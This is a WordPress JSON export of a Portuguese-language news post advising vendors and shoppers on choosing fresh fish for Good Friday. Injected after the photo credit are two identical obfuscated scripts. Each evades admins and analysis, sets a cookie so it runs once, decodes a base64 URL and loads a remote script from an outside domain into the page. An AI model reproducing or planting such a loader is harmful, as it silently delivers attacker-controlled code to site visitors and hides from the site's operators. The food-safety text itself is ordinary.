{"id":15447,"date":"2025-04-14T10:34:20","date_gmt":"2025-04-14T13:34:20","guid":{"rendered":"https:\/\/ultimosfatos.com.br\/portal\/?p=15447"},"modified":"2026-01-20T15:09:59","modified_gmt":"2026-01-20T18:09:59","slug":"cuidados-com-o-peixe-garantem-o-bom-almoco-na-sexta-feira-santa","status":"publish","type":"post","link":"https:\/\/ultimosfatos.com.br\/portal\/cuidados-com-o-peixe-garantem-o-bom-almoco-na-sexta-feira-santa\/","title":{"rendered":"Cuidados com o peixe garantem o bom almo\u00e7o na Sexta-Feira Santa"},"content":{"rendered":"<p>Com a chegada da Semana Santa, a procura por pescados aumenta, principalmente para o almo\u00e7o da Sexta-Feira da Paix\u00e3o. Por isso, comerciantes e consumidores devem ficar mais atentos para garantir a venda e compra de produtos adequados para a seguran\u00e7a alimentar.<\/p>\n<p>Quem vende deve seguir rigorosamente as normas da Vigil\u00e2ncia Sanit\u00e1ria. Isso inclui manter a estrutura do estabelecimento em boas condi\u00e7\u00f5es, com revestimento adequado e limpeza constante. Os uniformes dos funcion\u00e1rios, as bancadas e os equipamentos devem estar higienizados diariamente, e os lixeiros precisam estar devidamente tampados. \u201cAl\u00e9m disso, os fornecedores dos pescados devem ser id\u00f4neos e possuir registro, permitindo a rastreabilidade dos produtos em caso de necessidade\u201d, alerta o docente em alimentos do SENAI Pernambuco, Rodrigo Coutinho.<\/p>\n<p>Os consumidores tamb\u00e9m t\u00eam um papel fundamental na escolha dos pescados. \u00c9 essencial observar as condi\u00e7\u00f5es do ambiente onde os alimentos est\u00e3o sendo comercializados, garantindo que sejam mantidos sob refrigera\u00e7\u00e3o ou congelamento adequado. Os pescados frescos devem ser armazenados sob refrigera\u00e7\u00e3o, enquanto os congelados devem permanecer a uma temperatura de -18\u00b0C.<\/p>\n<p>Na hora da compra, alguns aspectos ajudam a identificar a qualidade. \u201cO peixe fresco deve apresentar olhos brilhantes e salientes. Olhos opacos e afundados indicam deteriora\u00e7\u00e3o. As escamas precisam estar bem aderidas \u00e0 pele, sem manchas. O odor deve ser suave e caracter\u00edstico de mar, nunca forte e desagrad\u00e1vel. As guelras devem ser avermelhadas ou rosadas; tons amarronzados ou escuros s\u00e3o sinais de que o peixe n\u00e3o est\u00e1 mais fresco. Al\u00e9m disso, a textura da carne deve ser firme ao toque, pois uma consist\u00eancia amolecida pode indicar que o produto j\u00e1 come\u00e7ou a se deteriorar\u201d, pontua Rodrigo.<\/p>\n<p><em>Foto: F\u00e1bio Rodrigues-Pozzebom\/ Ag\u00eancia Brasil<\/em><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Com a chegada da Semana Santa, a procura por pescados aumenta, principalmente para o almo\u00e7o da Sexta-Feira da Paix\u00e3o. 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